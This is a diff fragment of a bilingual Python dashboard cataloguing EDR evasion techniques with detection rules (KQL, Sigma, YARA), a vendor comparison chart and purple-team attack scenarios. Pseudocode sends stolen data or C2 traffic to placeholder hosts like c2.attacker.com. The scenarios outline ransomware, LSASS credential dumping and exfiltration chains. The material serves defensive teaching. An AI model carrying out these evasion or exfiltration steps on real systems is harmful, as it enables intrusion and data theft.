+ "| where AdditionalFields contains 'sleep'\n| project Timestamp, DeviceName"
1032
+ ),
1033
+ "sigma": (
1034
+ "title: Timing-Based Sandbox Evasion\nstatus: experimental\n"
1035
+ "logsource:\n product: windows\n category: process_creation\n"
1036
+ "detection:\n selection:\n CommandLine|contains:\n"
1037
+ " - 'timeout'\n - 'ping -n'\n - 'Start-Sleep'\n"
1038
+ " condition: selection\nlevel: low"
1039
+ ),
1040
+ "yara": (
1041
+ "rule Timing_Evasion {\n strings:\n"
1042
+ ' $a = "GetTickCount" ascii\n $b = "Sleep" ascii\n'
1043
+ " $rdtsc = { 0F 31 } // RDTSC instruction\n"
1044
+ " condition:\n ($a and $b) or $rdtsc\n}"
1045
+ ),
1046
+ "edr_config": {
1047
+ "en": "Configure sandbox time handling, extend analysis duration, implement multi-stage detonation.",
1048
+ "fr": "Configurer la gestion du temps dans les sandboxes, \u00e9tendre la dur\u00e9e d\u2019analyse.",
1049
+ },
1050
+ },
1051
+ {
1052
+ "id": "user-interaction",
1053
+ "category": "Sandbox Detection",
1054
+ "name": {"en": "User Interaction Check", "fr": "V\u00e9rification d\u2019Interaction Utilisateur"},
1055
+ "difficulty": "Medium",
1056
+ "mitre": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks",
1057
+ "desc": {
1058
+ "en": "Checks for real user activity (mouse movements, click history, recent documents) to detect automated sandboxes.",
1059
+ "fr": "V\u00e9rifie l\u2019activit\u00e9 utilisateur r\u00e9elle (mouvements souris, historique de clics, documents r\u00e9cents) pour d\u00e9tecter les sandboxes automatis\u00e9es.",
1060
+ },
1061
+ "pseudocode": (
1062
+ "# Educational pseudocode\n"
1063
+ "cursor_positions = []\n"
1064
+ "for i in range(10):\n"
1065
+ " cursor_positions.append(GetCursorPos())\n"
1066
+ " Sleep(500)\n"
1067
+ "if all_same(cursor_positions):\n"
1068
+ " exit() # no real user = sandbox"
1069
+ ),
1070
+ "detection": {
1071
+ "en": "Monitor for cursor position enumeration, user activity queries, recent documents checks.",
1072
+ "fr": "Surveiller l\u2019\u00e9num\u00e9ration des positions du curseur, les requ\u00eates d\u2019activit\u00e9 utilisateur.",
1073
+ },
1074
+ "countermeasure": {
1075
+ "en": "Simulate user activity in sandboxes, populate recent documents, generate mouse movements.",
1076
+ "fr": "Simuler l\u2019activit\u00e9 utilisateur dans les sandboxes, peupler les documents r\u00e9cents, g\u00e9n\u00e9rer des mouvements de souris.",
1077
+ },
1078
+ "sysmon": "1",
1079
+ "kql": (
1080
+ "DeviceProcessEvents\n| where ProcessCommandLine has_any ('GetCursorPos','GetLastInputInfo')\n"
1081
+ "| project Timestamp, DeviceName, ProcessCommandLine"
1082
+ ),
1083
+ "sigma": (
1084
+ "title: User Interaction Sandbox Check\nstatus: experimental\n"
1085
+ "logsource:\n product: windows\n category: process_creation\n"
1086
+ "detection:\n selection:\n CommandLine|contains:\n"
1087
+ " - 'GetCursorPos'\n - 'GetLastInputInfo'\n"
1088
+ " condition: selection\nlevel: low"
1089
+ ),
1090
+ "yara": (
1091
+ "rule User_Interaction_Check {\n strings:\n"
1092
+ ' $a = "GetCursorPos" ascii\n $b = "GetLastInputInfo" ascii\n'
1093
+ ' $c = "GetForegroundWindow" ascii\n'
1094
+ " condition:\n 2 of them\n}"
1095
+ ),
1096
+ "edr_config": {
1097
+ "en": "Deploy sandboxes with user simulation, create realistic desktop environment, automated mouse/keyboard input.",
1098
+ "fr": "D\u00e9ployer des sandboxes avec simulation utilisateur, cr\u00e9er un environnement bureau r\u00e9aliste.",
1099
+ },
1100
+ },
1101
+ # ---- Network Evasion ----
1102
+ {
1103
+ "id": "domain-fronting",
1104
+ "category": "Network Evasion",
1105
+ "name": {"en": "Domain Fronting", "fr": "Domain Fronting"},
1106
+ "difficulty": "Hard",
1107
+ "mitre": "T1090.004 - Proxy: Domain Fronting",
1108
+ "desc": {
1109
+ "en": "Routes C2 traffic through legitimate CDN domains, making the TLS SNI differ from the HTTP Host header.",
1110
+ "fr": "Achemine le trafic C2 via des domaines CDN l\u00e9gitimes, faisant diff\u00e9rer le SNI TLS de l\u2019en-t\u00eate Host HTTP.",
1111
+ },
1112
+ "pseudocode": (
1113
+ "# Educational pseudocode\n"
1114
+ "# TLS connection to legitimate CDN\n"
1115
+ "tls_connect('cdn.microsoft.com') # SNI = legitimate\n"
1116
+ "# But HTTP Host header points to C2\n"
1117
+ "http_request(Host='c2.attacker.com', path='/beacon')"
1118
+ ),
1119
+ "detection": {
1120
+ "en": "Compare TLS SNI with HTTP Host header, detect CDN usage anomalies, JA3/JA3S fingerprinting.",
1121
+ "fr": "Comparer le SNI TLS avec l\u2019en-t\u00eate Host HTTP, d\u00e9tecter les anomalies CDN, empreintes JA3/JA3S.",
1122
+ },
1123
+ "countermeasure": {
1124
+ "en": "TLS inspection, SNI/Host header comparison, CDN policy enforcement, JA3 fingerprint monitoring.",
1125
+ "fr": "Inspection TLS, comparaison SNI/Host, application des politiques CDN, surveillance JA3.",
1126
+ },
1127
+ "sysmon": "3, 22",
1128
+ "kql": (
1129
+ "DeviceNetworkEvents\n| where RemoteUrl contains 'cdn'\n"
1130
+ "| where AdditionalFields contains 'SNI_mismatch'\n| project Timestamp, DeviceName, RemoteUrl"
1131
+ ),
1132
+ "sigma": (
1133
+ "title: Potential Domain Fronting\nstatus: experimental\n"
1134
+ "logsource:\n product: proxy\n category: proxy\n"
1135
+ "detection:\n selection:\n c-uri-host|re: '.*cdn.*'\n"
1136
+ " condition: selection\nlevel: medium"
1137
+ ),
1138
+ "yara": (
1139
+ "rule Domain_Fronting {\n strings:\n"
1140
+ ' $cdn1 = "cloudfront.net" ascii\n $cdn2 = "azureedge.net" ascii\n'
1141
+ ' $host = "Host:" ascii\n'
1142
+ " condition:\n any of ($cdn*) and $host\n}"
1143
+ ),
1144
+ "edr_config": {
1145
+ "en": "Deploy TLS inspection, configure SNI monitoring, implement CDN usage policies, JA3 fingerprinting.",
1146
+ "fr": "D\u00e9ployer l\u2019inspection TLS, configurer la surveillance SNI, impl\u00e9menter des politiques CDN.",
1147
+ },
1148
+ },
1149
+ {
1150
+ "id": "dns-tunneling",
1151
+ "category": "Network Evasion",
1152
+ "name": {"en": "DNS Tunneling", "fr": "Tunnel DNS"},
1153
+ "difficulty": "Hard",
1154
+ "mitre": "T1071.004 - Application Layer Protocol: DNS",
1155
+ "desc": {
1156
+ "en": "Encodes C2 data in DNS queries/responses (TXT, CNAME records) to exfiltrate data through DNS.",
1157
+ "fr": "Encode les donn\u00e9es C2 dans les requ\u00eates/r\u00e9ponses DNS (enregistrements TXT, CNAME) pour exfiltrer via DNS.",
1158
+ },
1159
+ "pseudocode": (
1160
+ "# Educational pseudocode\n"
1161
+ "data = base64_encode(stolen_data)\n"
1162
+ "chunks = split(data, 63) # DNS label max length\n"
1163
+ "for chunk in chunks:\n"
1164
+ " dns_query(f'{chunk}.c2.attacker.com', type='TXT')"
1165
+ ),
1166
+ "detection": {
1167
+ "en": "Monitor DNS query volume, entropy analysis, detect unusually long subdomains, TXT record frequency.",
1168
+ "fr": "Surveiller le volume de requ\u00eates DNS, analyse d\u2019entropie, d\u00e9tecter les sous-domaines longs.",
1169
+ },
1170
+ "countermeasure": {
1171
+ "en": "DNS query logging, entropy-based detection, restrict DNS resolvers, DNS over HTTPS monitoring.",
1172
+ "fr": "Journalisation DNS, d\u00e9tection par entropie, restreindre les r\u00e9solveurs DNS.",
1173
+ },
1174
+ "sysmon": "22",
1175
+ "kql": (
1176
+ "DeviceEvents\n| where ActionType == 'DnsQueryResponse'\n"
1177
+ "| where strlen(RemoteUrl) > 50\n| project Timestamp, DeviceName, RemoteUrl"
1178
+ ),
1179
+ "sigma": (
1180
+ "title: DNS Tunneling Detection\nstatus: experimental\n"
1181
+ "logsource:\n product: dns\n category: dns\n"
1182
+ "detection:\n selection:\n query|re: '.{50,}\\..*'\n"
1183
+ " condition: selection\nlevel: high"
1184
+ ),
1185
+ "yara": (
1186
+ "rule DNS_Tunneling {\n strings:\n"
1187
+ ' $a = "iodine" ascii\n $b = "dnscat" ascii\n'
1188
+ ' $c = "dns2tcp" ascii\n'
1189
+ " condition:\n any of them\n}"
1190
+ ),
1191
+ "edr_config": {
1192
+ "en": "Enable DNS logging, deploy DNS analytics, restrict to internal resolvers, block DoH/DoT to external.",
1193
+ "fr": "Activer la journalisation DNS, d\u00e9ployer l\u2019analyse DNS, restreindre aux r\u00e9solveurs internes.",
1194
+ },
1195
+ },
1196
+ {
1197
+ "id": "c2-legitimate",
1198
+ "category": "Network Evasion",
1199
+ "name": {"en": "C2 over Legitimate Services", "fr": "C2 via Services L\u00e9gitimes"},
1200
+ "difficulty": "Hard",
1201
+ "mitre": "T1102 - Web Service",
1202
+ "desc": {
1203
+ "en": "Uses legitimate cloud services (Slack, Teams, OneDrive, GitHub) as C2 channels to blend with normal traffic.",
1204
+ "fr": "Utilise des services cloud l\u00e9gitimes (Slack, Teams, OneDrive, GitHub) comme canaux C2 pour se fondre dans le trafic normal.",
1205
+ },
1206
+ "pseudocode": (
1207
+ "# Educational pseudocode\n"
1208
+ "# Using GitHub Gist as C2 channel\n"
1209
+ "commands = github_api.get_gist(gist_id)\n"
1210
+ "result = execute(commands)\n"
1211
+ "github_api.update_gist(gist_id, result)"
1212
+ ),
1213
+ "detection": {
1214
+ "en": "Anomalous API usage patterns, unusual data volumes to cloud services, beacon timing analysis.",
1215
+ "fr": "Sch\u00e9mas d\u2019utilisation API anormaux, volumes de donn\u00e9es inhabituels vers les services cloud.",
1216
+ },
1217
+ "countermeasure": {
1218
+ "en": "Cloud access security broker (CASB), API monitoring, behavioral analytics for cloud service usage.",
1219
+ "fr": "Courtier de s\u00e9curit\u00e9 d\u2019acc\u00e8s cloud (CASB), surveillance API, analytique comportementale.",
1220
+ },
1221
+ "sysmon": "3, 22",
1222
+ "kql": (
1223
+ "DeviceNetworkEvents\n| where RemoteUrl has_any ('github.com','slack.com','graph.microsoft.com')\n"
1224
+ "| summarize count() by DeviceName, RemoteUrl, bin(Timestamp, 1h)\n"
1225
+ "| where count_ > 100"
1226
+ ),
1227
+ "sigma": (
1228
+ "title: C2 over Legitimate Service\nstatus: experimental\n"
1229
+ "logsource:\n product: proxy\n category: proxy\n"
1230
+ "detection:\n selection:\n c-uri-host|endswith:\n"
1231
+ " - 'api.github.com'\n - 'slack.com'\n"
1232
+ " condition: selection\nlevel: low"
1233
+ ),
1234
+ "yara": (
1235
+ "rule C2_Legitimate_Service {\n strings:\n"
1236
+ ' $a = "api.github.com" ascii\n $b = "hooks.slack.com" ascii\n'
1237
+ ' $c = "graph.microsoft.com" ascii\n'
1238
+ " condition:\n any of them\n}"
1239
+ ),
1240
+ "edr_config": {
1241
+ "en": "Deploy CASB, configure API usage monitoring, implement behavioral analytics, restrict service access.",
1242
+ "fr": "D\u00e9ployer un CASB, configurer la surveillance API, impl\u00e9menter l\u2019analytique comportementale.",
1243
+ },
1244
+ },
1245
+ ]
1246
+
1247
+ # ---------------------------------------------------------------------------
1248
+ # Categories & helpers
1249
+ # ---------------------------------------------------------------------------
1250
+ CATEGORIES = sorted(set(tech["category"] for tech in TECHNIQUES))
1251
+
1252
+
1253
+ def get_technique_names(lang):
1254
+ return [tech["name"][lang] for tech in TECHNIQUES]
1255
+
1256
+
1257
+ def get_technique_by_name(name, lang):
1258
+ for tech in TECHNIQUES:
1259
+ if tech["name"][lang] == name:
1260
+ return tech
1261
+ return None
1262
+
1263
+
1264
+ def filter_techniques(category, difficulty, lang):
1265
+ results = TECHNIQUES
1266
+ if category and category != t("all", lang):
1267
+ results = [tech for tech in results if tech["category"] == category]
1268
+ if difficulty and difficulty != t("all", lang):
1269
+ diff_map = {v: k for k, v in DIFF_FR.items()}
1270
+ diff_en = diff_map.get(difficulty, difficulty)
1271
+ results = [tech for tech in results if tech["difficulty"] == diff_en]
1272
+ names = [tech["name"][lang] for tech in results]
1273
+ return names
1274
+
1275
+
1276
+ # ---------------------------------------------------------------------------
1277
+ # EDR Comparison data
1278
+ # ---------------------------------------------------------------------------
1279
+ EDR_SOLUTIONS = [
1280
+ {"name": "CrowdStrike Falcon", "prevention": 9.5, "detection": 9.5, "response": 9, "threat_hunting": 9.5, "mdr": 9},
1281
+ {"name": "SentinelOne Singularity", "prevention": 9, "detection": 9, "response": 9.5, "threat_hunting": 8.5, "mdr": 8.5},
1282
+ {"name": "Microsoft Defender XDR", "prevention": 8.5, "detection": 9, "response": 8.5, "threat_hunting": 9, "mdr": 8},
1283
+ {"name": "Palo Alto Cortex XDR", "prevention": 9, "detection": 9, "response": 8.5, "threat_hunting": 8.5, "mdr": 8},
1284
+ {"name": "VMware Carbon Black", "prevention": 8, "detection": 8.5, "response": 8, "threat_hunting": 8.5, "mdr": 7.5},
1285
+ {"name": "Elastic Security", "prevention": 8, "detection": 8.5, "response": 8, "threat_hunting": 9, "mdr": 7},
1286
+ {"name": "Cybereason", "prevention": 8.5, "detection": 8.5, "response": 8, "threat_hunting": 8, "mdr": 8.5},
1287
+ {"name": "Sophos Intercept X", "prevention": 8.5, "detection": 8, "response": 7.5, "threat_hunting": 7.5, "mdr": 8.5},
1288
+ {"name": "Trellix XDR", "prevention": 8, "detection": 8, "response": 7.5, "threat_hunting": 8, "mdr": 7.5},
1289
+ {"name": "FortiEDR", "prevention": 8, "detection": 7.5, "response": 8, "threat_hunting": 7, "mdr": 7},
1290
+ {"name": "ESET PROTECT", "prevention": 8, "detection": 7.5, "response": 7, "threat_hunting": 7, "mdr": 7},
1291
+ {"name": "Kaspersky EDR", "prevention": 8.5, "detection": 8, "response": 7.5, "threat_hunting": 7.5, "mdr": 7.5},
1292
+ ]
1293
+
1294
+ CAPABILITIES = ["prevention", "detection", "response", "threat_hunting", "mdr"]
1295
+ CAP_LABELS = {
1296
+ "en": {"prevention": "Prevention", "detection": "Detection", "response": "Response", "threat_hunting": "Threat Hunting", "mdr": "MDR"},
1297
+ "fr": {"prevention": "Pr\u00e9vention", "detection": "D\u00e9tection", "response": "R\u00e9ponse", "threat_hunting": "Chasse aux menaces", "mdr": "MDR"},
1298
+ }
1299
+
1300
+
1301
+ def build_radar_chart(selected_edrs, lang):
1302
+ fig = go.Figure()
1303
+ labels = [CAP_LABELS[lang][c] for c in CAPABILITIES]
1304
+ for edr in EDR_SOLUTIONS:
1305
+ if edr["name"] in selected_edrs:
1306
+ values = [edr[c] for c in CAPABILITIES]
1307
+ values.append(values[0]) # close the polygon
1308
+ fig.add_trace(go.Scatterpolar(
1309
+ r=values,
1310
+ theta=labels + [labels[0]],
1311
+ fill="toself",
1312
+ name=edr["name"],
1313
+ ))
1314
+ fig.update_layout(
1315
+ polar=dict(radialaxis=dict(visible=True, range=[0, 10])),
1316
+ showlegend=True,
1317
+ title=t("tab_comparison", lang),
1318
+ template="plotly_dark",
1319
+ height=550,
1320
+ )
1321
+ return fig
1322
+
1323
+
1324
+ # ---------------------------------------------------------------------------
1325
+ # Attack Simulation Scenarios
1326
+ # ---------------------------------------------------------------------------
1327
+ SCENARIOS = {
1328
+ "Ransomware Deployment": {
1329
+ "name": {"en": "Ransomware Deployment", "fr": "D\u00e9ploiement de Ransomware"},
1330
+ "techniques": ["AMSI Bypass", "NTDLL Unhooking", "Shellcode Injection", "Certutil Download"],
1331
+ "gaps": {
1332
+ "en": [
1333
+ "Memory-only payload execution without disk write",
1334
+ "Credential harvesting before encryption",
1335
+ "Volume Shadow Copy deletion detection",
1336
+ "Lateral movement via SMB/WMI",
1337
+ ],
1338
+ "fr": [
1339
+ "Ex\u00e9cution de payload en m\u00e9moire sans \u00e9criture disque",
1340
+ "R\u00e9colte de credentials avant chiffrement",
1341
+ "D\u00e9tection de suppression de Volume Shadow Copy",
1342
+ "Mouvement lat\u00e9ral via SMB/WMI",
1343
+ ],
1344
+ },
1345
+ "purple_team": {
1346
+ "en": [
1347
+ "1. Initial access via phishing with macro-enabled document",
1348
+ "2. AMSI bypass to run PowerShell loader",
1349
+ "3. Unhook ntdll to avoid API monitoring",
1350
+ "4. Inject shellcode into legitimate process",
1351
+ "5. Enumerate network shares and domain controllers",
1352
+ "6. Deploy ransomware binary via PsExec/WMI",
1353
+ "7. Delete shadow copies and encrypt files",
1354
+ ],
1355
+ "fr": [
1356
+ "1. Acc\u00e8s initial via hame\u00e7onnage avec document macro",
1357
+ "2. Contournement AMSI pour charger PowerShell",
1358
+ "3. D\u00e9crochage ntdll pour \u00e9viter la surveillance API",
1359
+ "4. Injection de shellcode dans un processus l\u00e9gitime",
1360
+ "5. \u00c9num\u00e9ration des partages r\u00e9seau et contr\u00f4leurs de domaine",
1361
+ "6. D\u00e9ploiement du binaire ransomware via PsExec/WMI",
1362
+ "7. Suppression des clich\u00e9s instantan\u00e9s et chiffrement",
1363
+ ],
1364
+ },
1365
+ "alerts": {
1366
+ "en": [
1367
+ "AMSI tampering detected",
1368
+ "Suspicious process injection (Sysmon ID 8/10)",
1369
+ "Mass file modification detected",
1370
+ "Shadow copy deletion (vssadmin/wmic)",
1371
+ "Lateral movement via PsExec",
1372
+ ],
1373
+ "fr": [
1374
+ "Falsification AMSI d\u00e9tect\u00e9e",
1375
+ "Injection de processus suspecte (Sysmon ID 8/10)",
1376
+ "Modification massive de fichiers d\u00e9tect\u00e9e",
1377
+ "Suppression de clich\u00e9s instantan\u00e9s (vssadmin/wmic)",
1378
+ "Mouvement lat\u00e9ral via PsExec",
1379
+ ],
1380
+ },
1381
+ },
1382
+ "Credential Theft": {
1383
+ "name": {"en": "Credential Theft", "fr": "Vol de Credentials"},
1384
+ "techniques": ["AMSI Bypass", "SysWhispers", "PPL Bypass", "Module Stomping"],
1385
+ "gaps": {
1386
+ "en": [
1387
+ "LSASS memory access via direct syscalls",
1388
+ "Credential dumping from SAM/SECURITY hives",
1389
+ "Kerberoasting detection",
1390
+ "DCSync attack detection",
1391
+ ],
1392
+ "fr": [
1393
+ "Acc\u00e8s m\u00e9moire LSASS via syscalls directs",
1394
+ "Extraction de credentials depuis SAM/SECURITY",
1395
+ "D\u00e9tection de Kerberoasting",
1396
+ "D\u00e9tection d\u2019attaque DCSync",
1397
+ ],
1398
+ },
1399
+ "purple_team": {
1400
+ "en": [
1401
+ "1. Bypass AMSI for PowerShell execution",
1402
+ "2. Use SysWhispers to call NtOpenProcess on LSASS",
1403
+ "3. Bypass PPL protection on LSASS if enabled",
1404
+ "4. Dump credentials from LSASS memory",
1405
+ "5. Extract hashes from SAM database",
1406
+ "6. Perform Kerberoasting for service accounts",
1407
+ ],
1408
+ "fr": [
1409
+ "1. Contourner AMSI pour PowerShell",
1410
+ "2. Utiliser SysWhispers pour NtOpenProcess sur LSASS",
1411
+ "3. Contourner la protection PPL de LSASS si activ\u00e9e",
1412
+ "4. Extraire les credentials de la m\u00e9moire LSASS",
1413
+ "5. Extraire les hachages de la base SAM",
1414
+ "6. R\u00e9aliser du Kerberoasting pour les comptes de service",
1415
+ ],
1416
+ },
1417
+ "alerts": {
1418
+ "en": [
1419
+ "LSASS access from non-system process",
1420
+ "Suspicious Kerberos ticket requests",
1421
+ "SAM database access detected",
1422
+ "Direct syscall from non-ntdll region",
1423
+ ],
1424
+ "fr": [
1425
+ "Acc\u00e8s LSASS depuis un processus non syst\u00e8me",
1426
+ "Requ\u00eates Kerberos suspectes",
1427
+ "Acc\u00e8s \u00e0 la base SAM d\u00e9tect\u00e9",
1428
+ "Syscall direct depuis une r\u00e9gion non ntdll",
1429
+ ],
1430
+ },
1431
+ },
1432
+ "Lateral Movement": {
1433
+ "name": {"en": "Lateral Movement", "fr": "Mouvement Lat\u00e9ral"},
1434
+ "techniques": ["NTDLL Unhooking", "Shellcode Injection", "BITSAdmin Transfer", "ETW Patching"],
1435
+ "gaps": {
1436
+ "en": [
1437
+ "WMI-based lateral movement",
1438
+ "SMB relay attacks",
1439
+ "Pass-the-Hash/Ticket detection",
1440
+ "DCOM-based execution",
1441
+ ],
1442
+ "fr": [
1443
+ "Mouvement lat\u00e9ral via WMI",
1444
+ "Attaques de relais SMB",
1445
+ "D\u00e9tection Pass-the-Hash/Ticket",
1446
+ "Ex\u00e9cution via DCOM",
1447
+ ],
1448
+ },
1449
+ "purple_team": {
1450
+ "en": [
1451
+ "1. Patch ETW to blind telemetry",
1452
+ "2. Unhook ntdll to bypass API monitoring",
1453
+ "3. Use stolen credentials for WMI execution",
1454
+ "4. Deploy payload via BITS transfer",
1455
+ "5. Inject into remote process for persistence",
1456
+ "6. Repeat across multiple hosts",
1457
+ ],
1458
+ "fr": [
1459
+ "1. Modifier ETW pour aveugler la t\u00e9l\u00e9m\u00e9trie",
1460
+ "2. D\u00e9crocher ntdll pour contourner la surveillance API",
1461
+ "3. Utiliser des credentials vol\u00e9s pour WMI",
1462
+ "4. D\u00e9ployer le payload via transfert BITS",
1463
+ "5. Injecter dans un processus distant pour la persistance",
1464
+ "6. R\u00e9p\u00e9ter sur plusieurs h\u00f4tes",
1465
+ ],
1466
+ },
1467
+ "alerts": {
1468
+ "en": [
1469
+ "WMI remote execution detected",
1470
+ "Unusual SMB authentication patterns",
1471
+ "BITS job creation from command line",
1472
+ "ETW provider modification",
1473
+ ],
1474
+ "fr": [
1475
+ "Ex\u00e9cution WMI distante d\u00e9tect\u00e9e",
1476
+ "Sch\u00e9mas d\u2019authentification SMB inhabituels",
1477
+ "Cr\u00e9ation de t\u00e2che BITS depuis la ligne de commande",
1478
+ "Modification du fournisseur ETW",
1479
+ ],
1480
+ },
1481
+ },
1482
+ "Data Exfiltration": {
1483
+ "name": {"en": "Data Exfiltration", "fr": "Exfiltration de Donn\u00e9es"},
1484
+ "techniques": ["DNS Tunneling", "Domain Fronting", "C2 over Legitimate Services", "BITSAdmin Transfer"],
1485
+ "gaps": {
1486
+ "en": [
1487
+ "DNS tunneling with low-and-slow exfiltration",
1488
+ "Data staging in cloud services",
1489
+ "Encrypted channel detection",
1490
+ "Steganography-based exfiltration",
1491
+ ],
1492
+ "fr": [
1493
+ "Tunnel DNS avec exfiltration lente",
1494
+ "Stockage temporaire dans les services cloud",
1495
+ "D\u00e9tection de canaux chiffr\u00e9s",
1496
+ "Exfiltration par st\u00e9ganographie",
1497
+ ],
1498
+ },
1499
+ "purple_team": {
1500
+ "en": [
1501
+ "1. Stage data in temp directory",
1502
+ "2. Compress and encrypt data",
1503
+ "3. Exfiltrate via DNS tunneling (small payloads)",
1504
+ "4. Use domain fronting for larger transfers",
1505
+ "5. Leverage legitimate cloud storage APIs",
1506
+ "6. Clean up staging artifacts",
1507
+ ],
1508
+ "fr": [
1509
+ "1. Stocker les donn\u00e9es dans un r\u00e9pertoire temporaire",
1510
+ "2. Compresser et chiffrer les donn\u00e9es",
1511
+ "3. Exfiltrer via tunnel DNS (petits payloads)",
1512
+ "4. Utiliser le domain fronting pour les gros transferts",
1513
+ "5. Exploiter les API de stockage cloud l\u00e9gitimes",
1514
+ "6. Nettoyer les artefacts temporaires",
1515
+ ],
1516
+ },
1517
+ "alerts": {
1518
+ "en": [
1519
+ "High DNS query volume to single domain",
1520
+ "Large data transfer to cloud storage",
1521
+ "TLS SNI/Host header mismatch",
1522
+ "Unusual data compression activity",
1523
+ ],
1524
+ "fr": [
1525
+ "Volume \u00e9lev\u00e9 de requ\u00eates DNS vers un seul domaine",
1526
+ "Transfert de donn\u00e9es volumineux vers le stockage cloud",
1527
+ "Incoh\u00e9rence SNI/Host TLS",
1528
+ "Activit\u00e9 de compression de donn\u00e9es inhabituelle",
1529
+ ],
1530
+ },
1531
+ },
1532
+ "Persistence Establishment": {
1533
+ "name": {"en": "Persistence Establishment", "fr": "\u00c9tablissement de Persistance"},
1534
+ "techniques": ["MSBuild Execution", "CMSTP Bypass", "Regsvr32 (Squiblydoo)", "Module Stomping"],
1535
+ "gaps": {
1536
+ "en": [
1537
+ "Registry-based persistence detection",
1538
+ "Scheduled task abuse",
1539
+ "WMI event subscription persistence",
1540
+ "DLL search order hijacking",
1541
+ ],
1542
+ "fr": [
1543
+ "D\u00e9tection de persistance par registre",
1544
+ "Abus de t\u00e2ches planifi\u00e9es",
1545
+ "Persistance par abonnement d\u2019\u00e9v\u00e9nements WMI",
1546
+ "D\u00e9tournement de l\u2019ordre de recherche DLL",
1547
+ ],
1548
+ },
1549
+ "purple_team": {
1550
+ "en": [
1551
+ "1. Use MSBuild to compile and execute initial payload",
1552
+ "2. Establish WMI event subscription for persistence",
1553
+ "3. Create scheduled task with obfuscated command",
1554
+ "4. Use CMSTP for UAC bypass if needed",
1555
+ "5. Stomp legitimate module for stealth",
1556
+ "6. Verify persistence across reboots",
1557
+ ],
1558
+ "fr": [
1559
+ "1. Utiliser MSBuild pour compiler et ex\u00e9cuter le payload initial",
1560
+ "2. \u00c9tablir un abonnement WMI pour la persistance",
1561
+ "3. Cr\u00e9er une t\u00e2che planifi\u00e9e avec commande obscurcie",
1562
+ "4. Utiliser CMSTP pour contourner l\u2019UAC si n\u00e9cessaire",
1563
+ "5. \u00c9craser un module l\u00e9gitime pour la furtivit\u00e9",
1564
+ "6. V\u00e9rifier la persistance apr\u00e8s red\u00e9marrage",
1565
+ ],
1566
+ },
1567
+ "alerts": {
1568
+ "en": [
1569
+ "MSBuild execution outside development context",
1570
+ "WMI event subscription creation",
1571
+ "Suspicious scheduled task registration",
1572
+ "CMSTP execution with INF file",
1573
+ ],
1574
+ "fr": [
1575
+ "Ex\u00e9cution MSBuild hors contexte de d\u00e9veloppement",
1576
+ "Cr\u00e9ation d\u2019abonnement WMI",
1577
+ "Enregistrement de t\u00e2che planifi\u00e9e suspecte",
1578
+ "Ex\u00e9cution CMSTP avec fichier INF",
1579
+ ],
1580
+ },
1581
+ },
1582
+ }
1583
+
1584
+ SCENARIO_KEYS = list(SCENARIOS.keys())
1585
+
1586
+
1587
+ # ---------------------------------------------------------------------------
1588
+ # UI builder functions
1589
+ # ---------------------------------------------------------------------------
1590
+
1591
+ def build_technique_detail(name, lang):
1592
+ """Return formatted markdown for a technique."""
1593
+ tech = get_technique_by_name(name, lang)
1594
+ if not tech:
1595
+ return "Select a technique."
1596
+ badge = diff_badge(tech["difficulty"], lang)
1597
+ desc = tech["desc"][lang]
1598
+ mitre = tech["mitre"]
1599
+ pseudo = tech["pseudocode"]
1600
+ detect = tech["detection"][lang]
1601
+ counter = tech["countermeasure"][lang]
1602
+ cat = tech["category"]
1603
+
1604
+ desc_label = t("description", lang)
1605
+ mitre_label = t("mitre", lang)
1606
+ pseudo_label = t("pseudocode", lang)
1607
+ detect_label = t("detection", lang)
1608
+ counter_label = t("countermeasure", lang)
1609
+ cat_label = t("category", lang)
1610
+
1611
+ md = f"## {tech['name'][lang]} {badge}\n\n"
1612
+ md += f"**{cat_label}:** {cat}\n\n"
1613
+ md += f"**{mitre_label}:** `{mitre}`\n\n"
1614
+ md += f"### {desc_label}\n{desc}\n\n"
1615
+ md += f"### {pseudo_label}\n```\n{pseudo}\n```\n\n"
1616
+ md += f"### {detect_label}\n{detect}\n\n"
1617
+ md += f"### {counter_label}\n{counter}\n"
1618
+ return md
1619
+
1620
+
1621
+ def build_detection_detail(name, lang):
1622
+ """Return formatted markdown for detection engineering."""
1623
+ tech = get_technique_by_name(name, lang)
1624
+ if not tech:
1625
+ return "Select a technique."
1626
+
1627
+ sysmon_label = t("sysmon_ids", lang)
1628
+ kql_label = t("kql_query", lang)
1629
+ sigma_label = t("sigma_rule", lang)
1630
+ yara_label = t("yara_rule", lang)
1631
+ edr_label = t("edr_config", lang)
1632
+
1633
+ md = f"## {tech['name'][lang]} - {t('tab_detection', lang)}\n\n"
1634
+ md += f"### {sysmon_label}\n`{tech['sysmon']}`\n\n"
1635
+ md += f"### {kql_label}\n```kql\n{tech['kql']}\n```\n\n"
1636
+ md += f"### {sigma_label}\n```yaml\n{tech['sigma']}\n```\n\n"
1637
+ md += f"### {yara_label}\n```yara\n{tech['yara']}\n```\n\n"
1638
+ md += f"### {edr_label}\n{tech['edr_config'][lang]}\n"
1639
+ return md
1640
+
1641
+
1642
+ def build_scenario_detail(scenario_key, lang):
1643
+ """Return formatted markdown for an attack scenario."""
1644
+ sc = SCENARIOS.get(scenario_key)
1645
+ if not sc:
1646
+ return "Select a scenario."
1647
+
1648
+ name = sc["name"][lang]
1649
+ techniques_str = ", ".join(sc["techniques"])
1650
+ gaps = "\n".join(f"- {g}" for g in sc["gaps"][lang])
1651
+ steps = "\n".join(sc["purple_team"][lang])
1652
+ alerts = "\n".join(f"- {a}" for a in sc["alerts"][lang])
1653
+
1654
+ ev_label = t("evasion_needed", lang)
1655
+ gap_label = t("detection_gaps", lang)
1656
+ pt_label = t("purple_team", lang)
1657
+ alert_label = t("expected_alerts", lang)
1658
+
1659
+ md = f"## {name}\n\n"
1660
+ md += f"### {ev_label}\n{techniques_str}\n\n"
1661
+ md += f"### {gap_label}\n{gaps}\n\n"
1662
+ md += f"### {pt_label}\n{steps}\n\n"
1663
+ md += f"### {alert_label}\n{alerts}\n"
1664
+ return md
1665
+
1666
+
1667
+ def build_resources_md(lang):
1668
+ if lang == "fr":
1669
+ return """## Ressources
1670
+
1671
+ ### Articles AYI-NEDJIMI Consultants
1672
+
1673
+ - [Guide complet : \u00c9vasion EDR/XDR](https://ayinedjimi-consultants.fr/articles/techniques-hacking/evasion-edr-xdr.html)
1674
+ Analyse approfondie des techniques d\u2019\u00e9vasion et des contre-mesures.
1675
+
1676
+ - [Top 10 Solutions EDR/XDR 2025](https://ayinedjimi-consultants.fr/articles/top-10-solutions-edr-xdr-2025.html)
1677
+ Comparatif d\u00e9taill\u00e9 des meilleures solutions de protection endpoint.
1678
+
1679
+ - [Site principal AYI-NEDJIMI Consultants](https://ayinedjimi-consultants.fr)
1680
